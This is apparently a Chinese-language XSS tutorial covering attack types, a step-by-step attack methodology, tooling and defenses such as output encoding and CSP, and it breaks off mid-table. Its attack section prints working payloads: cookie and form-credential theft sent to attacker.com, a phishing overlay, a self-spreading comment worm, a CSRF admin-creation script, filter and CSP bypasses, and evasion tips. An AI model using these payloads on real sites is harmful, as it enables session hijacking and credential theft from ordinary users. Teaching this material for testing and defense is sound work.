xss 渗透 2026-05-15 12:22:46 8 [TOC] ## XSS 概述 跨站脚本攻击（Cross-Site Scripting，简称 **XSS**）是 Web 应用中最普遍、最易被忽视的安全漏洞之一，长期位列 **OWASP Top 10**（2021 年归类于 “注入类漏洞”）。其核心原理是：**攻击者将恶意 JavaScript 代码注入到 Web 页面中，当用户访问该页面时，浏览器会执行注入的脚本，从而实现窃取 Cookie、劫持会话、篡改页面内容、传播恶意代码等攻击行为**。 与 SQL 注入直接操作数据库不同，XSS 聚焦于 “客户端脚本执行”—— 攻击目标是访问页面的普通用户，而非服务器或数据库。其危害范围可从单个用户扩展到整个站点（如存储型 XSS 可批量攻击所有访问页面的用户）。 ### 核心危害 - **会话劫持**：窃取用户的认证 Cookie（如 `SESSIONID`、`JWT`），使用户会话被攻击者接管，以用户身份访问敏感功能（如登录后台、转账）； - **敏感信息窃取**：通过脚本读取用户输入的账号密码、银行卡号、个人隐私数据（如通讯录、聊天记录），并发送至攻击者服务器； - **页面篡改**：修改页面内容（如替换支付链接为攻击者链接、伪造 “系统通知” 诱导用户输入敏感信息）； - **恶意代码传播**：在页面中注入钓鱼脚本、挖矿代码、蠕虫病毒（如通过存储型 XSS 在论坛、评论区传播，感染所有访问者）； - **权限提升与服务器攻击**：结合其他漏洞（如 CSRF、文件上传），执行服务器命令（如通过 XSS 触发 CSRF 上传 WebShell），最终控制服务器； - **钓鱼与社会工程学**：伪造登录窗口、弹窗提示（如 “账号异常，需重新输入密码”），诱导用户主动泄露信息。 ## XSS 原理 ### 基本概念 XSS 的本质是 **“用户输入未经过滤 / 编码，被当作页面代码的一部分执行”**。Web 应用若未对用户输入的特殊字符（如 `<`、`>`、`'`、`"`、`&`）进行处理，直接将输入内容输出到页面中，攻击者即可构造包含恶意 JavaScript 的输入，被浏览器解析为合法脚本并执行。 XSS 攻击需满足两个核心条件： 1. **注入点存在**：应用存在可接收用户输入并输出到页面的位置（如评论框、URL 参数、搜索框、用户资料编辑页）； 2. **脚本可执行**：注入的恶意代码未被浏览器或应用拦截，且符合 JavaScript 语法规则（如标签闭合、脚本上下文正确）。 ### 三大核心 XSS 类型对比 XSS 按 “代码存储方式” 和 “触发场景” 可分为三类，其攻击流程和危害程度差异显著： | 类型 | 核心特征 | 攻击流程 | 典型场景 | 危害程度 | | -------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | --------------------------------------------------- | | **存储型 XSS**（Persistent XSS） | 恶意代码被**永久存储在服务器**（如数据库、文件），所有访问页面的用户都会触发 | 1. 攻击者在评论区输入 `<script>stealCookie()</script>`； 2. 应用将恶意评论存入数据库； 3. 其他用户访问评论页时，应用从数据库读取并输出恶意代码； 4. 用户浏览器执行脚本，Cookie 被窃取 | 论坛评论区、博客留言板、用户资料页、聊天记录存储、个人简介、帖子、商品评论、操作日志、广告推广留电话、保存收藏等等 | ★★★★★（批量攻击，影响所有用户） | | **反射型 XSS**（Reflected XSS） | 恶意代码通过**URL 参数、表单提交**等方式传递，仅在当前请求中临时反射到页面，仅触发者本人受影响 | 1. 攻击者构造 URL：`https://target.com/search?q=<script>stealCookie()</script>`； 2. 诱导用户点击该 URL； 3. 应用将 URL 中的 `q` 参数值直接输出到搜索结果页； 4. 用户浏览器执行脚本，Cookie 被窃取 | 搜索框、登录失败提示（如 “用户名 `xxx` 不存在”）、URL 参数展示页、get 传参页面回显 | ★★★☆☆（单点攻击，依赖用户点击钓鱼链接） | | **DOM 型 XSS**（DOM-Based XSS） | 恶意代码不经过服务器，仅通过**前端 JS 操作 DOM 时注入**，属于 “客户端 XSS” | 1. 攻击者构造 URL：`https://target.com/#q=<script>stealCookie()</script>`； 2. 用户点击 URL 后，页面 JS 执行 `document.getElementById("search-result").innerHTML = location.hash.slice(2)`； 3. 恶意代码被插入 DOM 并执行，Cookie 被窃取 | 前端框架（如 Vue/React）的 DOM 操作、URL 哈希（`#`）处理、本地存储（LocalStorage）读取、`window.location`、`innerHTML`、`document.write`、eval、hash 参数 | ★★★★☆（不经过服务器，易绕过后端防护；影响单个用户） | ### 典型示例（三种类型对比） #### 1. 存储型 XSS（评论区注入） **攻击者输入**（评论框提交）： ```html <script> // 窃取 Cookie 并发送到攻击者服务器 var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(cookie); </script> ``` **服务器处理逻辑**（错误写法，未过滤输入）： ```php // 接收评论并存入数据库 $comment = $_POST['comment']; $sql = "INSERT INTO comments (content) VALUES ('$comment')"; mysql_query($sql); // 读取评论并输出到页面 $result = mysql_query("SELECT content FROM comments"); while ($row = mysql_fetch_assoc($result)) { echo "<div class='comment'>" . $row['content'] . "</div>"; // 直接输出，无过滤 } ``` **后果**：所有访问评论页的用户，浏览器都会执行该脚本，Cookie 被发送到攻击者服务器。 #### 2. 反射型 XSS（搜索框注入） **攻击者构造钓鱼 URL**： ```plaintext https://target.com/search?q=<script> var img=new Image(); img.src="https://attacker.com/steal?cookie="+document.cookie; </script> ``` **服务器处理逻辑**（错误写法，未编码输出）： ```java // 接收 URL 中的搜索参数 String q = request.getParameter("q"); // 直接输出到搜索结果页（未编码） response.getWriter().write("搜索结果：" + q); ``` **后果**：用户点击该 URL 后，搜索结果页会输出并执行恶意脚本，仅该用户的 Cookie 被窃取。 #### 3. DOM 型 XSS（前端哈希处理） **攻击者构造 URL**： ```plaintext https://target.com/index.html#username=<script> alert(document.cookie); </script> ``` **前端 JS 逻辑**（错误写法，直接操作 innerHTML）： ```javascript // 读取 URL 哈希中的 username 参数并显示 var username = location.hash.slice(1).split("=")[1]; // 截取 #username=xxx 中的 xxx document.getElementById("user-info").innerHTML = "欢迎您，" + username; // 直接插入 DOM，无过滤 ``` **后果**：用户点击 URL 后，前端 JS 将恶意代码插入 DOM 并执行，无需经过服务器，后端防护无法拦截。 ## XSS 影响因素分析表 XSS 的攻击成功率取决于 “输入处理”“输出编码”“前端防护”“浏览器特性” 等多维度因素，具体如下： | 影响因素 | 说明 | 攻击示例 | 备注 | | ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | 输入过滤规则 | 应用是否对用户输入的敏感字符（`<`、`>`、`script`、`onload`）进行过滤，过滤是否彻底 | 若过滤 `script` 标签：攻击者用 `<scr<script>ipt>`（双写绕过）； 若过滤 `<`：用 `<` 编码后是否被解码执行 | 过滤不彻底易被绕过（如仅过滤小写，可用 `<SCRIPT>` 绕过）；需结合输出编码，不可单独依赖过滤 | | 输出编码方式 | 输出用户输入时是否根据上下文（HTML、JS、CSS、URL）进行对应编码，避免代码执行 | HTML 上下文未编码：`<div>`+ 用户输入 +`</div>` → 注入 `<script>`； JS 上下文未编码：`var x="`+ 用户输入 +`";` → 注入 `"；alert(1);"` | 不同上下文需不同编码（如 HTML 编码 `<` 为 `<`，JS 编码 `<` 为 `\x3c`）；编码不匹配仍会触发 XSS | | 前端防护机制（CSP） | 内容安全策略（CSP）是否限制脚本执行来源、禁止内联脚本 /eval 函数 | 若 CSP 配置 `script-src 'self'`：仅允许加载本站脚本，外部恶意脚本被拦截； 若 CSP 未配置：内联 `<script>` 可执行 | CSP 是 XSS 防御的核心手段之一；配置不当（如 `script-src *`）则无效；需避免宽松策略 | | Cookie 属性（HttpOnly） | HttpOnly 是否开启，禁止 JS 读取 Cookie，防止 XSS 窃取会话 Cookie | 若 Cookie 未设 HttpOnly：`document.cookie` 可读取 `SESSIONID`； 若开启：JS 无法读取，仅能通过 CSRF 滥用 Cookie | HttpOnly 仅保护 Cookie，无法防御 XSS 的其他危害（如页面篡改、信息窃取）；需配合其他防御 | | 浏览器安全特性 | 浏览器是否开启 XSS 过滤器（如 Chrome 的 XSS Auditor）、是否支持 CSP 新特性 | Chrome 旧版本 XSS Auditor 可拦截部分反射型 XSS； 新版浏览器对 `eval` 函数限制更严格 | 浏览器特性仅为 “辅助防护”，不可依赖（攻击者可针对旧浏览器或关闭过滤器的场景攻击） | | 脚本执行上下文 | 注入的恶意代码处于 HTML、JS、CSS、URL 等哪个上下文，决定编码和绕过方式 | HTML 上下文：`<img src=x onerror=alert(1)>；` JS 上下文：`var x="aaa"+"';alert(1);'"`； CSS 上下文：`body { background: url("javascript:alert(1)") }` | 上下文不同，攻击 payload 差异大（如 JS 上下文需闭合引号，CSS 上下文依赖 `javascript:` 伪协议） | | 动态 DOM 操作 | 前端是否通过 `innerHTML`、`outerHTML`、`document.write` 等危险 API 插入用户输入 | 用 `innerHTML` 插入未过滤的 URL 参数：`el.innerHTML = location.search` → 注入 `<script>`； 用 `textContent` 插入：仅显示文本，无风险 | `innerHTML`/`outerHTML` 是 DOM 型 XSS 的主要诱因；推荐用 `textContent`（仅渲染文本）替代 | | 第三方组件 / 脚本 | 应用是否引入存在漏洞的第三方库（如 jQuery 旧版本、富文本编辑器）、外部脚本 | 富文本编辑器（如 TinyMCE 旧版本）存在 XSS 漏洞：攻击者可插入恶意代码； 引入外部脚本 `https://untrusted.com/script.js`：脚本被篡改后注入恶意代码 | 第三方组件是 XSS 的重要攻击入口；需定期更新组件版本，避免引入未验证的外部脚本 | ## XSS 攻击思路 XSS 攻击的核心是 “找到注入点→构造适配上下文的 payload→利用脚本实现攻击目标”，整体流程可分为 5 个步骤： ```plaintext 信息收集 → 注入点探测 → payload 构造 → 攻击利用 → 痕迹清理 ``` ### 1. 信息收集阶段 核心目标：明确目标应用的 “输入点分布”“技术栈”“防护措施”，为后续探测做准备。 - 识别输入点：梳理所有可接收用户输入并输出到页面的位置： - 常规输入点：URL 参数（GET）、表单提交（POST）、评论框、搜索框、用户资料（昵称、签名）、文件上传（文件名、描述）； - 隐藏输入点：HTTP 头部（User-Agent、Referer）、Cookie 参数、LocalStorage/SessionStorage 读取、富文本编辑器内容、第三方评论插件输入； - 分析技术栈： - 后端语言：PHP/Java/Python（影响输入过滤和输出编码的实现方式）； - 前端框架：Vue/React/Angular（DOM 型 XSS 的风险点不同，如 Vue 的 `v-html` 指令易触发 XSS）； - 组件库：富文本编辑器（如 UEditor、TinyMCE）、表单组件（是否自带输入过滤）； - 探测防护措施： - 输入过滤：尝试输入 `<script>alert(1)</script>`，观察是否被过滤（如页面显示 `<script>alert(1)</script>` 还是空白 / 提示非法）； - 输出编码：查看页面源码，输入的 `<` 是否被编码为 `<`（HTML 编码）、`\x3c`（JS 编码）； - CSP：通过浏览器开发者工具（F12 → Network → 选中请求 → Response Headers）查看是否存在 `Content-Security-Policy` 头； - Cookie 属性：查看 Cookie 是否带有 `HttpOnly` 标记（F12 → Application → Cookies）。 ### 2. 注入点探测阶段 根据信息收集结果，对每个输入点进行测试，确定是否存在 XSS 漏洞及漏洞类型（存储型 / 反射型 / DOM 型）。 #### （1）反射型 XSS 探测 1. 构造测试 payload（通用型，适配 HTML 上下文）： - 基础 payload：`<script>alert(document.domain)</script>`（测试脚本标签是否执行）； - 事件触发 payload：`<img src=x onerror=alert(1)>、<a href=javascript:alert(1)>点击</a>`（避免 `script` 标签被过滤）； 2. 将 payload 传入输入点（如 URL 参数 `q=<img src=x onerror=alert(1)>`）； 3. 访问页面并观察： - 若弹出 alert 框，说明存在反射型 XSS； - 若页面显示 payload 文本，查看源码确认是否被编码（如 `<img src=x onerror=alert(1)>` → 编码有效，无漏洞）； - 若 payload 被截断 / 替换（如显示 `<img src=x >`），说明存在输入过滤，需尝试绕过。 #### （2）存储型 XSS 探测 1. 选择可持久化输入的位置（如评论区、用户昵称），提交测试 payload（同反射型）； 2. 提交后，退出当前账号或用另一浏览器访问该页面（确保是 “新用户” 视角）； 3. 观察页面是否执行 payload（如弹出 alert）： - 若执行，说明存在存储型 XSS（危害极高，所有访问者都会触发）； - 若仅提交者本人可见 payload 执行，其他人不可见，可能是按用户权限过滤了内容。 #### （3）DOM 型 XSS 探测 1. 寻找前端 JS 操作 DOM 的场景（如 URL 哈希处理、LocalStorage 读取、表单值回显）； 2. 构造针对 DOM 上下文的 payload： - URL 哈希场景：`https://target.com/#x=<img src=x onerror=alert(1)>`（测试 `location.hash` 被 `innerHTML` 插入的情况）； - JS 变量场景：`https://target.com/?name=";alert(1);//`（测试 `var name = "用户输入";` 上下文，闭合引号并注释后续代码）； 3. 访问页面并查看 DOM 结构（F12 → Elements）： - 若 payload 被插入 DOM 且未编码（如 `<img src=x onerror=alert(1)>` 存在于 Elements 中），且弹出 alert，说明存在 DOM 型 XSS； - 若 payload 被编码（如 `<img src=x onerror=alert(1)>`），则无漏洞。 ### 3. payload 构造阶段 根据漏洞类型和上下文（HTML/JS/CSS/URL），构造适配的恶意 payload，绕过防护措施（如过滤、CSP）。 #### （1）按上下文分类的 payload 示例 | 执行上下文 | 核心特点 | 测试 payload | 恶意 payload（窃取 Cookie） | | ----------- | ------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | HTML 标签内 | 输入被插入 HTML 标签之间（如 `<div>输入</div>`） | `<script>alert(1)</script>` `<img src=x onerror=alert(1)>` | `<img src=x onerror="var img=new Image();img.src='https://attacker.com/steal?c='+document.cookie;">` | | HTML 属性内 | 输入被插入 HTML 标签属性中（如 `<input value="输入">`） | `" onclick=alert(1) x="`（闭合 value 属性，添加 onclick 事件） | `" onclick="var c=document.cookie;fetch('https://attacker.com/steal?c='+c)" x="` | | JS 变量内 | 输入被插入 JS 变量中（如 `var x="输入";`） | `" ;alert(1); //`（闭合双引号，插入 alert，注释后续代码） | `" ;fetch('https://attacker.com/steal?c='+document.cookie); //` | | JS 函数内 | 输入被作为函数参数（如 `func("输入");`） | `" ,alert(1)); //`（闭合参数，插入 alert） | `" ,document.cookie);fetch('https://attacker.com/steal?c='+document.cookie); //` | | CSS 上下文 | 输入被插入 CSS 样式中（如 `style="输入"`） | `background: url(javascript:alert(1))`（仅部分旧浏览器支持） | 风险较低，主要用于诱导点击，如 `color:red;cursor:pointer;" onclick=alert(1) x="` | | URL 参数内 | 输入被作为 URL 一部分（如 `<a href="输入">`） | `javascript:alert(1)`（伪协议执行脚本） | `javascript:var c=document.cookie;location.href='https://attacker.com/steal?c='+c` | #### （2）绕过过滤的 payload 技巧 当输入被过滤时，通过 “变形” payload 绕过规则： - **双写绕过**：若过滤 `script`，用 `<scr<script>ipt>alert(1)</scr</script>ipt>`（服务器过滤中间的 `script` 后，剩余 `<script>alert(1)</script>`）； - **大小写混合**：若过滤小写标签，用 `<SCRIPT>alert(1)</SCRIPT>`、`<Img Src=x OnError=alert(1)>`； - 编码绕过： - HTML 实体编码：`<` 编码为 `<`、`<`，若服务器解码后输出，可注入 `<img src=x onerror=alert(1)>`； - URL 编码：`javascript:alert(1)` 编码为 `javascript:%61%6C%65%72%74%28%31%29`（适用于 URL 参数场景）； - JS 编码：`<` 编码为 `\x3c`、`\u003c`，在 JS 上下文注入 `\x3cscript\x3ealert(1)\x3c/script\x3e`； - **事件触发替换**：若 `onerror` 被过滤，用其他事件：`<img src=x onload=alert(1)>`（图片加载完成触发）、`<div onclick=alert(1)>点击</div>`（点击触发）、`<body onscroll=alert(1)>`（滚动触发）； - **标签替换**：若 `script` 标签被过滤，用其他可执行脚本的标签：`<iframe src="javascript:alert(1)" style="display:none;"></iframe>`、`<svg onload=alert(1)>`（SVG 标签支持事件）。 #### （3）绕过 CSP 的 payload 技巧 若目标站点配置 CSP，需针对 CSP 规则构造 payload： - **利用 CSP 白名单漏洞**：若 CSP 允许加载 `https://cdn.trusted.com/` 的脚本，攻击者可在该 CDN 上上传恶意脚本（如利用 CDN 漏洞），然后注入 `<script src="https://cdn.trusted.com/malicious.js"></script>`； - **利用 JSONP 绕过**：若 CSP 允许 `script-src 'self'`，且站点存在 JSONP 接口（如 `https://target.com/jsonp?callback=xxx`），注入 `<script src="https://target.com/jsonp?callback=alert(document.cookie)"></script>`（JSONP 会执行 callback 函数）； - **利用内联脚本例外**：若 CSP 配置 `script-src 'self' 'unsafe-inline'`（允许内联脚本），直接注入 `<script>alert(1)</script>`；若配置 `'nonce-xxx'`（仅允许带特定 nonce 的内联脚本），需先获取 nonce 值（如通过 XSS 读取页面源码）； - **利用 eval 相关函数**：若 CSP 未禁止 `eval`、`setTimeout`、`setInterval`，注入 `<script>setTimeout("alert(document.cookie)",0)</script>`（`setTimeout` 第一个参数可执行脚本）。 ### 4. 攻击利用阶段 payload 执行后，根据攻击目标实施具体操作，常见利用场景如下： #### （1）会话劫持（核心目标） 通过窃取用户的认证 Cookie，以用户身份登录系统： ```javascript // 恶意脚本：窃取 Cookie 并发送到攻击者服务器 function stealCookie() { var cookie = document.cookie; // 若 Cookie 未设 HttpOnly，可读取 // 用 Image 标签发送（无需跨域权限，隐蔽性强） var img = new Image(); img.src = "https://attacker.com/collect?cookie=" + encodeURIComponent(cookie) + "&domain=" + document.domain; img.style.display = "none"; // 隐藏图片，用户无感知 } stealCookie(); ``` **攻击者操作**： 1. 接收 Cookie 后，在浏览器中手动设置 Cookie（F12 → Application → Cookies → 添加 `SESSIONID` 等字段）； 2. 刷新目标站点，即可以用户身份登录（如普通用户→管理员）。 #### （2）敏感信息窃取 读取用户输入的敏感数据（如账号密码、表单内容）： ```javascript // 恶意脚本：监听表单提交，窃取输入的账号密码 document.addEventListener("submit", function(e) { var form = e.target; var data = new FormData(form); var info = {}; for (var [key, value] of data.entries()) { info[key] = value; // 收集表单字段（如 username、password） } // 发送到攻击者服务器 fetch("https://attacker.com/steal-form", { method: "POST", body: JSON.stringify(info), headers: { "Content-Type": "application/json" } }); }); ``` #### （3）页面篡改与钓鱼 修改页面内容，诱导用户输入敏感信息： ```javascript // 恶意脚本：替换页面登录表单为钓鱼表单 window.onload = function() { // 隐藏原登录表单 var originalForm = document.getElementById("login-form"); originalForm.style.display = "none"; // 创建钓鱼表单 var fakeForm = document.createElement("form"); fakeForm.id = "fake-login-form"; fakeForm.method = "POST"; fakeForm.action = "https://attacker.com/fake-login"; // 提交到攻击者服务器 fakeForm.innerHTML = ` <h3>账号异常，请重新登录</h3> <input type="text" name="username" placeholder="用户名" required><br> <input type="password" name="password" placeholder="密码" required><br> <button type="submit">登录</button> `; // 插入钓鱼表单到页面 originalForm.parentNode.insertBefore(fakeForm, originalForm); }; ``` #### （4）传播恶意代码（存储型 XSS 特有） 在论坛、聊天群等场景，通过存储型 XSS 批量感染用户： ```javascript // 恶意脚本：自动发布包含相同 XSS 代码的评论，传播蠕虫 function spreadXSS() { // 构造包含 XSS 代码的评论内容 var maliciousComment = "<img src=x onerror='var img=new Image();img.src=\"https://attacker.com/steal?c=\"+document.cookie;'> 好帖！"; // 自动提交评论（模拟表单提交） var commentForm = document.getElementById("comment-form"); document.getElementById("comment-content").value = maliciousComment; commentForm.submit(); } // 延迟执行，避免被即时检测 setTimeout(spreadXSS, 3000); ``` #### （5）结合 CSRF 提升权限 通过 XSS 读取 CSRF Token，触发高权限操作（如添加管理员）： ```javascript // 恶意脚本：读取 CSRF Token 并发送 CSRF 请求添加管理员 function addAdmin() { // 读取页面中的 CSRF Token（假设存在于隐藏字段） var csrfToken = document.getElementsByName("csrf_token")[0].value; // 发送添加管理员的 CSRF 请求 fetch("https://target.com/admin/add", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "X-CSRF-Token": csrfToken }, body: "username=attacker&password=123456&role=admin" }); } addAdmin(); ``` ### 5. 痕迹清理阶段 为避免被目标站点或用户发现，攻击者会清理攻击痕迹： - 隐藏脚本执行： - 用 `display:none` 隐藏注入的 `<img>`、`<script>` 标签； - 使用 `setTimeout` 延迟执行脚本，避免与页面加载冲突； - 删除恶意内容（存储型 XSS）： - 脚本执行后，自动删除存储的恶意评论（如调用删除评论的 API）； - 仅在特定条件下执行（如 `if (document.domain === "target.com")`），避免在测试环境暴露； - 规避日志记录： - 用 `fetch` 或 `Image` 发送数据时，使用 HTTPS 加密，避免被网络日志拦截； - 分批次发送敏感数据，避免单次请求数据量过大被检测。 ## XSS 自动化工具与测试方法 XSS 测试可通过 “自动化工具扫描 + 手动验证” 结合的方式，提高效率和准确性。 ### 1. 常用工具对比 | 工具名称 | 特点与适用场景 | 局限性 | | ---------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | Burp Suite（Active Scan/XSS 插件） | 集成 XSS 扫描模块，支持自动探测反射型 / 存储型 XSS；可手动构造 payload 用 Repeater 验证 | 误报率较高（尤其是 DOM 型 XSS）；存储型 XSS 需手动确认是否持久化；复杂上下文（如 JS 变量内）探测效果有限 | | XSSer（专业 XSS 工具） | 开源免费，支持多种 payload 生成（如编码、双写、事件触发）；可批量测试输入点 | 对现代前端框架（Vue/React）的 DOM 型 XSS 支持不足；需手动配置目标和输入点；易被 WAF 拦截 | | BeEF（浏览器劫持框架） | 注入恶意脚本后，可远程控制用户浏览器（如窃取 Cookie、执行命令、截图）；支持 XSS 利用链 | 需先成功注入 BeEF 的 hook 脚本；依赖用户保持页面打开；部分功能（如截图）需浏览器支持 | | OWASP ZAP（Zed Attack Proxy） | 开源 Web 扫描器，内置 XSS 扫描规则；支持手动测试和自动化扫描结合 | 扫描速度较慢；对存储型 XSS 的探测需多次请求（提交→验证）；需手动调整扫描策略减少误报 | | Chrome 开发者工具（手动测试） | 查看 DOM 结构、网络请求、Console 日志；可通过 Console 执行测试脚本 | 纯手动操作，效率低；无法批量测试；需具备 XSS 测试经验 | ### 2. 典型工具使用示例（Burp Suite） #### 步骤 1：抓取请求并发送到 Scanner 1. 打开 Burp Suite，配置浏览器代理（如 127.0.0.1:8080）； 2. 在目标站点提交测试输入（如搜索框输入 `test`），Burp 抓取该请求； 3. 右键点击请求，选择 **Active scan**，启动自动扫描。 #### 步骤 2：查看扫描结果 1. 扫描完成后，在 **Dashboard → Issues** 中查看 XSS 相关漏洞（标记为 `Cross-site scripting (reflected)` 或 `Cross-site scripting (stored)`）； 2. 点击漏洞条目，查看 Details： - `Request`：Burp 发送的测试 payload（如 `q=<img src=x onerror=alert(1)>`）； - `Response`：服务器返回的页面内容，确认 payload 是否被未编码输出； - `Proof of concept`：Burp 生成的验证链接或代码。 #### 步骤 3：手动验证漏洞 1. 将扫描结果中的 `Proof of concept` 链接复制到浏览器（如反射型 XSS 的 URL）； 2. 若弹出 alert 框，确认漏洞存在； 3. 对于存储型 XSS，需用另一浏览器访问该页面，确认 payload 被持久化执行。 #### 步骤 4：构造恶意 payload（Repeater 模块） 1. 将请求发送到 **Repeater** 模块； 2. 修改请求中的输入参数为恶意 payload（如窃取 Cookie 的脚本）； 3. 点击 **Send**，查看响应是否包含 payload，且无编码； 4. 在浏览器中访问该请求对应的 URL，确认脚本执行并发送数据到攻击者服务器。 ### 3. 手动测试核心流程（针对 DOM 型 XSS） 1. 打开目标页面，按下 F12 打开开发者工具，切换到 **Elements** 标签； 2. 找到可能存在 DOM 操作的元素（如 `id="search-result"` 的 div）； 3. 切换到 Console标签，执行测试脚本，模拟输入注入： ```javascript // 模拟 URL 哈希注入 location.hash = "q=<img src=x onerror=alert(document.domain)>"; // 查看 Elements 标签，确认 payload 是否被插入 DOM 且未编码 ``` 4. 若弹出 alert，说明存在 DOM 型 XSS； 5. 构造包含该 payload 的 URL（如 `https://target.com/#q=<img src=x onerror=alert(1)>`），测试是否可通过 URL 触发。 ## XSS 防御方案 XSS 防御需遵循 “纵深防御” 原则，从 “输入过滤”“输出编码”“前端防护”“Cookie 安全”“漏洞扫描” 多维度入手，核心是 **“让恶意代码无法注入，或注入后无法执行”**。 ### 1. 核心防御：输出编码（最有效，适配上下文） XSS 的根本原因是 “用户输入被当作代码执行”，输出编码通过将特殊字符转换为 “纯文本表示”，确保输入仅作为文本渲染，而非代码。**关键是 “根据输出上下文选择对应的编码方式”**，不同上下文的编码规则不同： | 输出上下文 | 需编码的特殊字符 | 编码方式（示例：`<` → 编码后） | 实现工具 / 方法 | | ---------------------------------------- | ------------------------------------------- | ------------------------------ | ------------------------------------------------------------ | | HTML 标签内（如 `<div>输入</div>`） | `<`、`>`、`&`、`'`、`"` | `<` | PHP：`htmlspecialchars($input, ENT_QUOTES)`（ENT_QUOTES 编码单双引号）； Java：`org.apache.commons.text.StringEscapeUtils.escapeHtml4(input)`； Python：`cgi.escape(input, quote=True)` | | HTML 属性内（如 `<input value="输入">`） | `<`、`>`、`&`、`'`、`"`、`=`、`空格` | `<`（`<`）、`"`（`"`） | 同 HTML 编码，需确保属性值用引号包裹（如 `value="编码后的值"`），避免属性注入 | | JS 变量内（如 `var x="输入";`） | `<`、`>`、`&`、`'`、`"`、`\`、`/` | `\x3c`（`<`）、`\"`（`"`） | PHP：`json_encode($input)`（自动转义特殊字符）； Java：`com.google.gson.Gson().toJson(input)`； Python：`json.dumps(input)` | | JS 函数参数内（如 `func("输入");`） | 同 JS 变量内，需额外注意括号、逗号 | `\x28`（`(`）、`\x29`（`)`） | 用 JSON 编码后，确保参数用引号包裹；避免直接拼接字符串作为函数参数 | | CSS 上下文（如 `style="输入"`） | `<`、`>`、`&`、`'`、`"`、`(`、`)` | `\3c`（`<`，需加空格） | 避免将用户输入直接插入 CSS；若必须插入，使用 CSS 编码库（如 `cssparser`） | | URL 参数内（如 `<a href="输入">`） | 所有非字母数字字符（如 `&`、`?`、`=`、`#`） | URL 编码（如 → `%20`） | PHP：`urlencode($input)`； Java：`java.net.URLEncoder.encode(input, "UTF-8")`； Python：`urllib.parse.quote(input)` | **示例（PHP 输出编码正确写法）**： ```php // 1. HTML 标签内输出 $comment = $_POST['comment']; // 用 htmlspecialchars 编码，ENT_QUOTES 编码单双引号 echo "<div class='comment'>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>"; // 2. JS 变量内输出 $username = $_GET['username']; // 用 json_encode 编码，确保特殊字符被转义 echo "<script>var username = " . json_encode($username) . ";</script>"; // 3. URL 参数内输出 $search = $_GET['search']; echo "<a href='/search?q=" . urlencode($search) . "'>查看更多</a>"; ``` ### 2. 输入过滤（辅助防御，减少恶意输入） 输入过滤是 “在接收用户输入时，剔除或替换恶意字符”，作为输出编码的补充。需注意：**过滤不能替代输出编码**（过滤规则可能被绕过），但可减少恶意输入的数量。 #### （1）白名单过滤（推荐，最安全） 仅允许符合 “合法格式” 的输入，拒绝所有不符合规则的内容（如仅允许字母、数字、常见标点）： - 示例 1：用户名仅允许字母 + 数字 + 下划线，长度 3-20 位： ```php $username = $_POST['username']; if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) { die("用户名格式非法"); } ``` - 示例 2：邮箱输入需符合邮箱格式： ```java String email = request.getParameter("email"); if (!email.matches("^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)+$")) { response.sendError(400, "邮箱格式错误"); } ``` #### （2）黑名单过滤（谨慎使用，易被绕过） 禁止或替换已知的恶意字符 / 标签（如 `<script>`、`onerror`），需确保规则全面： - 示例（替换恶意标签和事件）： ```python import re def filter_xss(input_str): # 替换 script 标签（大小写不敏感） input_str = re.sub(r'<\/?script.*?>', '', input_str, flags=re.IGNORECASE) # 替换危险事件（onerror、onload、onclick 等） input_str = re.sub(r'on\w+="[^"]*"', '', input_str, flags=re.IGNORECASE) # 替换 javascript: 伪协议 input_str = re.sub(r'javascript:', '', input_str, flags=re.IGNORECASE) return input_str comment = filter_xss(request.args.get('comment', '')) ``` - **注意**：黑名单过滤需覆盖所有可能的绕过方式（如双写、编码），建议使用成熟的过滤库（如 PHP 的 `HTMLPurifier`），避免手动编写规则。 #### （3）使用成熟的输入过滤库 手动编写过滤规则易遗漏，推荐使用开源库处理富文本或复杂输入： - PHP：`HTMLPurifier`（过滤 HTML 标签，仅保留允许的标签和属性，如仅允许 `<b>`、`<i>`，禁止 `<script>`）； - Java：`Jsoup`（解析 HTML 并过滤恶意标签，如 `Jsoup.clean(input, Whitelist.basic())`）； - Python：`bleach`（清理 HTML 输入，支持自定义允许的标签和属性，如 `bleach.clean(input, tags=['b', 'i'], attributes={})`）。 **示例（Java Jsoup 过滤 HTML）**： ```java import org.jsoup.Jsoup; import org.jsoup.safety.Whitelist; String userInput = "<script>alert(1)</script><b>合法文本</b>"; // 使用 basic 白名单：仅允许 <b>、<i>、<u> 等基本标签 String cleanInput = Jsoup.clean(userInput, Whitelist.basic()); // 输出：<b>合法文本</b>（script 标签被过滤） System.out.println(cleanInput); ``` ### 3. 前端防护：内容安全策略（CSP） 内容安全策略（Content Security Policy，简称 **CSP**）是通过 HTTP 响应头或 `<meta>` 标签，限制浏览器执行脚本的来源、禁止内联脚本 /eval 函数，从 “执行层面” 阻断 XSS 攻击，是现代 Web 应用的核心防御手段之一。 #### （1）CSP 核心指令（常用） | 指令 | 作用 | 示例配置 | | --------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | `script-src` | 限制脚本加载来源（最核心指令），禁止未授权的脚本执行 | `script-src 'self' https://cdn.trusted.com`（仅允许本站和可信 CDN 的脚本）； `script-src 'none'`（禁止所有脚本，适用于无脚本的静态页面） | | `style-src` | 限制样式表加载来源 | `style-src 'self' 'unsafe-inline'`（允许本站样式和内联样式，`unsafe-inline` 需谨慎使用） | | `img-src` | 限制图片加载来源 | `img-src 'self' data:`（允许本站图片和 data URI 图片） | | `object-src` | 限制 `<object>`、`<embed>` 等插件加载来源 | `object-src 'none'`（禁止所有插件，减少漏洞风险） | | `base-uri` | 限制 `<base>` 标签的 `href` 属性，防止篡改页面基准 URL | `base-uri 'self'`（仅允许本站基准 URL） | | `default-src` | 所有未指定指令的默认来源（如未指定 `img-src`，则使用 `default-src`） | `default-src 'self'`（默认仅允许本站资源） | | `unsafe-inline` | 允许内联脚本 / 样式（不推荐，会降低 CSP 安全性），仅在无法避免时使用 | `script-src 'self' 'unsafe-inline'`（允许本站脚本和内联脚本） | | `unsafe-eval` | 允许 